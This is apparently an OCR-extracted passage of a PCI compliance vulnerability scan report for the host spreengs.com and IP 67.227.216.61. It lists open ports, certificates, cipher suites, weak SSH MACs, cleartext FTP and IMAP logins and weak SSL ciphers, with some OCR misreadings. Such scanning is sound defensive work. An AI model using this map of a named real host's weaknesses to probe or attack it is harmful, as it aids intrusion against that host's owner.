Vendor Reference: -

Last Update: 2020-11-06 01:32:24.0
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THREAT:
Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: false

Today: 2026-04-17 15:49:32 +0000

Start date: 2026-03-06 02:02:42 UTC

End date: 2026-06-04 02:02:41 UTC

Expired: false

Fingerprint: 59:83:59:B1:36:BE:1D:B5:E1:B9:CD:74:83:E7:19:4B
Subject: /CN=host.pimlive.com

Common name: host.pimlive.com

Issuer: /C=US/O=Let's Encrypt/CN=R12

Signature Algorithm: sha256WithRSAENcryption

Version: 2

Information Disclosure via robots.txt port 2096/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:10:54.0
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THREAT:

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By

connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:

Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:

URL: https://67.227.216.61:2096/robots. txt

Rule found: Disallow: /

Enumerated SSL/TLS Cipher Suites

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

0.0

low
SLID-2013-0102
Host Fingerprinting

2020-11-06 01:15:47.0

port 2087/tcp

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:

No remediation is necessary.

EVIDENCE:

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256
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Information Disclosure via robots.txt
PCI COMPLIANCE STATUS

PCI Severity Level: o

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134

Category: Host Fingerprinting

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0
THREAT:

port 2083/tcp

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By
connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,

restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:

Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: https://spreengs.com:2083/robots.txt

Rule found: Disallow: /

TLSv1.2 Supported
PCI COMPLIANCE STATUS

PCI Severity Level: —

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2020-0032
Category: Cryptography
CVE ID: -

Vendor Reference: -
Last Update: 2020-01-09 19:18:11.0

port 2087/tcp
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THREAT:
This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Certificate Recon Debugging Info (filtered)
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0
THREAT:

Cert recon debug info

SOLUTION:
N/A

EVIDENCE:

Verification errors: Certificate Chain:
[0]: host.pimlive.com

[1]: R12

Verification Errors:

The hostname on the certificate does not match any of the hostnames provided to the scanner.

TLSv1.2 Supported

port 21/tcp

port 443/tcp
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PCI COMPLIANCE STATUS

PCI Severity Level:

Low

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2020-0032
Cryptography

2020-01-09 19:18:11.0

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

ECDHE-RSA-AES256-GCM-SHA384

ECDHE-RSA-AES256-SHA384

ECDHE-RSA-AES256-SHA

DHE-RSA-AES256-GCM-SHA384

DHE-RSA-AES256-SHA256

DHE-RSA-AES256-SHA

AES256-GCM-SHA384

AES256-SHA256

AES256-SHA

ECDHE-RSA-AES128-GCM-SHA256

ECDHE-RSA-AES128-SHA256

ECDHE-RSA-AES128-SHA

DHE-RSA-AES128-GCM-SHA256

DHE-RSA-AES128-SHA256

DHE-RSA-AES128-SHA

AES128-GCM-SHA256
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Cipher Suite: TLSv1_2 : AES128-SHA256
Cipher Suite: TLSv1_2 : AES128-SHA

Cipher Suite: TLSv1_2 : ECDHE-RSA-CHACHA20-POLY1305

Weak SSH Hashing Algorithms Supported port 22/tcp
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0434

Category: Weak Cryptography

CVE ID: -

Vendor Reference: -

Last Update: 2019-11-12 20:12:26.0
THREAT:

SSH data integrity is protected by including with each packet a MAC that is computed from a shared secret, packet sequence number, and the contents of the packet. The
algorithms supported by this SSH service use cryptographically weak hashing (MAC) algorithms for data integrity.

SOLUTION:
Configure the SSH service to no longer support weak hashing algorithms (aka: MACs).

EVIDENCE:

Weak SSHv2 MAC Algorithms Client to Server: hmac-shal, hmac-shal-etm@openssh.com, umac-64-etm@openssh.com

Weak SSHv2 MAC Algorithms Server to Client: hmac-shal, hmac-shal-etm@openssh.com, umac-64-etm@openssh.com

DNS Resolver Accepts DNSSEC Options port 53/udp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS
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CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

The DNS resolver running on this host accepts DNSSEC options. By doing so, it is able to verify the authenticity of DNSSEC protected zones.

SOLUTION:
No remediation required.

EVIDENCE:
N/A

0.0
low
SLID-2010-0224

Information Leak

2020-11-06 01:12:19.0

SSL Perfect Forward Secrecy Supported

PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0
low
SLID-2008-0144

Service Configuration

2021-08-13 00:04:10.0

port 2087/tcp

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications

with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256
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TLSv1.3 Supported
PCI COMPLIANCE STATUS

PCI Severity Level: =

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2021-14043
Category: Cryptography
CVE ID: -

Vendor Reference:

Last Update:

2021-11-29 18:07:47.0

THREAT:
This service supports the use of the TLSv1.3 protocol.

SOLUTION:
N/A

EVIDENCE:
N/A

Information Disclosure via robots.txt

PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0

THREAT:

port 443/tcp

port 2095/tcp

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By
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connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,

restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:
Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: http://67.227.216.61:2095/robots.txt

Rule found: Disallow: /

SSL-TLS Certificate Information
PCI COMPLIANCE STATUS

PCI Severity Level: —

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:32:24.0
THREAT:

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:49:58 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96

Subject: /ICN=spreengs.com

Common name: spreengs.com

port 587/tcp
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Issuer: /C=US/O=Let's Encrypt/CN=R13
Signature Algorithm: sha256WithRSAENcryption

Version: 2

SSL Certificate Expiring Soon port 587/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

TLSv1.2 Supported port 465/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =
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VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2020-0032
Cryptography

2020-01-09 19:18:11.0

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

ECDHE-RSA-AES256-GCM-SHA384

ECDHE-RSA-AES256-SHA384

ECDHE-RSA-AES128-GCM-SHA256

ECDHE-RSA-AES128-SHA256

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0
low
SLID-2017-0430

Service Discovery

2020-11-06 01:32:24.0

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

port 2096/tcp
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SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:11:04 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96
Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEnNcryption

Version: 2

Wildcard SSL Certificate Detected
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155
Category: Digital Certificate
CVE ID: -

Vendor Reference:

Last Update:

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:

Subject: /CN=spreengs.com

2020-11-06 00:33:12.0

port 2096/tcp
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Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Information Disclosure via robots.txt port 2086/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0

THREAT:
Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By

connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:

Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: http://67.227.216.61:2086/robots.txt

Rule found: Disallow: /

Certificate Recon Debugging Info (filtered) port 143/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =
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VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0
THREAT:

Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

TLSv1.2 Supported
PCI COMPLIANCE STATUS

PCI Severity Level: o

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2020-0032

Category: Cryptography

CVE ID: -

Vendor Reference: -

Last Update: 2020-01-09 19:18:11.0
THREAT:

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

port 993/tcp

Sysnet Scanning Management System April 17, 2026

Page 67



PCI Scan Vulnerability Report

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Certificate Recon Debugging Info (filtered)

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:
Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

0.0
low
SLID-2012-0956

Service Discovery

2017-08-11 00:04:03.0

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

This vulnerability is not recognized in the National Vulnerability Database.

0.0
low
SLID-2017-0430

Service Discovery

port 2096/tcp

port 2087/tcp
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Last Update: 2020-11-06 01:32:24.0

THREAT:
Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:10:57 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96
Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEnNcryption

Version: 2

FTP Cleartext Authentication and Unencrypted Communication Channel Accessibility port 21/tcp
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

Unencrypted communication channels violate Requirement 4 of the PCI DSS.

VULNERABILITY DETAILS

CVSS Base Score: 6.4

Severity: medium

SLID: SLID-2018-0168
Category: Exposed Data
CVE ID: -

Vendor Reference: -
Last Update: 2019-05-10 21:17:15.0
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THREAT:

The FTP service running on this port allows the user's credentials to be transmitted in cleartext because it makes use of a plaintext (unencrypted) communication channel.

The PCI DSS forbids the use of such insecure services/protocols. Unencrypted communication channels are vulnerable to the disclosure and/or modification of any data
transiting through them (including usernames and passwords), and as such the confidentially and integrity of the data in transit cannot be ensured with any level of

certainty.

SOLUTION:

Transition to using more secure alternatives such as SFTP in favor of FTP, or consider wrapping less secure services within more secure technologies by utilizing the

benefits offered by VPN, SSL/TLS, or IPSec for example. Also, limit access to management protocols/services to specific IP addresses (usually accomplished via a

"whitelist") whenever possible.

EVIDENCE:

Command: USER 7dArJITi

Response: 331 User 7dArJITi OK. Password required

IMAP Service Supports the STARTTLS Command

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

0.0

low
SLID-2010-0611
Host Fingerprinting

2020-11-06 01:04:44.0

The IMAP service running on this host supports encryption using the STARTTLS command.

SOLUTION:

No remediation necessary. This is identified for informational purposes.

EVIDENCE:

Message: a001 OK Begin TLS negotiation now.

Unencrypted Communication Channel Accessibility

PCI COMPLIANCE STATUS

PCI Severity Level:

port 143/tcp

port 143/tcp
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This vulnerability is not recognized in the National Vulnerability Database.

Unencrypted communication channels violate Requirement 4 of the PCI DSS.

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

6.4

medium
SLID-2015-0436
Exposed Data

2019-05-10 21:15:04.0

The service running on this port appears to make use of a plaintext (unencrypted) communication channel. Unencrypted communication channels are vulnerable to the
disclosure and/or modification of any data transiting through them (including usernames and passwords), and as such the confidentially and integrity of the data in transit
cannot be ensured with any level of certainty.

SOLUTION:

Transition to using more secure alternatives such as SSH instead of Telnet and SFTP in favor of FTP, or consider wrapping less secure services within more secure
technologies by utilizing the benefits offered by VPN, SSL/TLS, or IPSec for example. Also, limit access to management protocols/services to specific IP addresses
(usually accomplished via a "whitelist") whenever possible.

EVIDENCE:

Details: Authentication is allowed without an encrypted connection

Sent: AO01 LOGIN yzJBsYvq uuW7zlyg

Received: AO01 NO [AUTHENTICATIONFAILED] Authentication failed.

SSL Certificate is Not Trusted (External Scan)

PCI COMPLIANCE STATUS

PCI Severity Level:

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:
Last Update:

7.3

high
SLID-2008-0150
Digital Certificate

2020-09-03 17:14:00.0

port 21/tcp
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THREAT:

It was not possible to validate the SSL certificate, and thus it could not be trusted. Users may receive a security warning when using this service. This occurs because
either the certificate or a certificate in its chain has issues that prevent validation. Some examples of these issues are, but not limited to, a certificate having expired, the
hostname does not have match the name on the certificate, or the certificate is not signed by a well-known Certificate Authority (CA).

SOLUTION:

Please refer to the evidence for more details as to why this finding has been flagged. In cases where there are validation errors within the certificate chain, you will need
to work with your certificate authority. A mismatch between the certificate common name and the configured scan target can indicate an issue with the scan configuration.
E.g. an IP address was provided when it should have been a URL. Please check your scan configuration and ensure that the target has been set as a URL/domain. If this
digital (SSL) certificate is associated with a service accessible to the general public, you may want to consider acquiring a digital (SSL) certificate from a well-known
Certificate Authority (CA), keep it up to date and not let your certificate expire. Please note that other Approved Scanning Vendors (ASV), or other testing services may
only look for this vulnerability on port 443. Please refer to the "port" column to confirm which port we have identified this vulnerability on."

EVIDENCE:
Subject: /CN=host.pimlive.com

Issuer: /C=US/O=Let's Encrypt/CN=R12
Certificate Chain Depth: 0

Reason: The hostname on the certificate does not match any of the hostnames provided to the scanner.

SSL Perfect Forward Secrecy Supported port 465/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0144

Category: Service Configuration

CVE ID: -

Vendor Reference: -

Last Update: 2021-08-13 00:04:10.0
THREAT:

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications
with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA384
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Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA256

Enumerated SSL/TLS Cipher Suites port 2096/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0102
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:15:47.0

THREAT:

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

SSL Perfect Forward Secrecy Supported port 995/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =
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m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0144
Category: Service Configuration
CVE ID: -

Vendor Reference: -

Last Update: 2021-08-13 00:04:10.0

THREAT:

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications

with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Information Disclosure via robots.txt
PCI COMPLIANCE STATUS

PCI Severity Level: o

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134

Category: Host Fingerprinting

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0
THREAT:

port 2086/tcp

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By

Sysnet Scanning Management System April 17, 2026

Page 74



PCI Scan Vulnerability Report

connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,

restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:
Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: http://spreengs.com:2086/robots.txt

Rule found: Disallow: /

SSL Perfect Forward Secrecy Supported
PCI COMPLIANCE STATUS

PCI Severity Level: —

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0144

Category: Service Configuration

CVE ID: -

Vendor Reference: -

Last Update: 2021-08-13 00:04:10.0
THREAT:

port 993/tcp

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications

with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Enumerated SSL/TLS Cipher Suites

PCI COMPLIANCE STATUS

port 2078/tcp
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PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0102
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:15:47.0

THREAT:

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

TLSv1.2 Supported port 995/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2020-0032
Category: Cryptography
CVE ID: -

Vendor Reference:
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Last Update: 2020-01-09 19:18:11.0

THREAT:
This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

SSL Certificate Expiring Soon port 443/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:
Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /CN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Certificate Chain Depth: 0

Expiration Date: 2026-06-21 12:56:50 UTC
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Days to expiration: 64

SSL/TLS Weak Encryption Algorithms port 21/tcp
PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 5.9
Severity: medium
SLID: SLID-2008-0145
Category: Weak Cryptography
CVE ID: CVE-2013-2566, CVE-2015-2808
Vendor Reference: -
Last Update: 2023-09-27 16:09:09.0
THREAT:

The SSL-based service running on this host appears to support the use of "weak" ciphers such as: - Ciphers suites that have key-lengths of less than 128 bits. - Ciphers
suites using anonymous Diffie-Hellman algorithms (no authentication). - Ciphers suites offering no encryption. - Ciphers suites using pre-shared keys. - Ciphers suites
using RC4 or MD5. Please note that this vulnerability CANNOT be disputed using a Risk Mitigation and Migration plan. This is a separate finding and must be treated as
such.

SOLUTION:

If you believe this finding is coming from an ISP (Internet Service Provider) modem/router then please contact your provider to ask how this situation can be corrected.
Please note that this vulnerability CANNOT be disputed using a Risk Mitigation and Migration plan: this is a separate finding and must be treated as such. Configure your
SSL server to only use higher-grade encryption. OpenSSL servers classify encryption algorithms as HIGH, MEDIUM, LOW, and EXPORT strength. Algorithms classified
as HIGH all meet the minimum requirements and should only include "strong" ciphers. The "SSLCipherSuite" configuration item for mod_ssl and Apache2 can be used to
control encryption algorithms for web servers that use OpenSSL. Since the definition of HIGH, MEDIUM, LOW, and EXPORT can vary between each version of
